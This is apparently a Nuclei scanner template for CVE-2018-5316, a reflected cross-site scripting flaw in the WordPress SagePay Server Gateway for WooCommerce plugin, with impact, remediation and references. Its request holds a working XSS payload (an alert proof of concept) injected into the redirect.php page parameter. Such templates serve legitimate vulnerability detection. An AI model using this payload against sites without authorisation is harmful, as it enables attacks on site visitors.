id: CVE-2018-5316

info:
  name: WordPress SagePay Server Gateway for WooCommerce <1.0.9 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: WordPress SagePay Server Gateway for WooCommerce before 1.0.9 is vulnerable to cross-site scripting via the includes/pages/redirect.php page parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Update to the latest version of the WordPress SagePay Server Gateway for WooCommerce plugin (1.0.9 or higher) to mitigate this vulnerability.
  reference:
    - https://wordpress.org/support/topic/sagepay-server-gateway-for-woocommerce-1-0-7-cross-site-scripting/#post-9792337
    - https://wordpress.org/plugins/sagepay-server-gateway-for-woocommerce/#developers
    - https://packetstormsecurity.com/files/145459/WordPress-Sagepay-Server-Gateway-For-WooCommerce-1.0.7-XSS.html
    - https://nvd.nist.gov/vuln/detail/CVE-2018-5316
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2018-5316
    cwe-id: CWE-79
    epss-score: 0.00175
    epss-percentile: 0.5452
    cpe: cpe:2.3:a:patsatech:sagepay_server_gateway_for_woocommerce:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: patsatech
    product: sagepay_server_gateway_for_woocommerce
    framework: wordpress
  tags: cve2018,wordpress,xss,wp-plugin,wp,woocommerce,packetstorm,cve,patsatech

http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/sagepay-server-gateway-for-woocommerce/includes/pages/redirect.php?page=</script>"><script>alert(document.domain)</script>'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '</script>"><script>alert(document.domain)</script>'
          - 'Authenticate your card'
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
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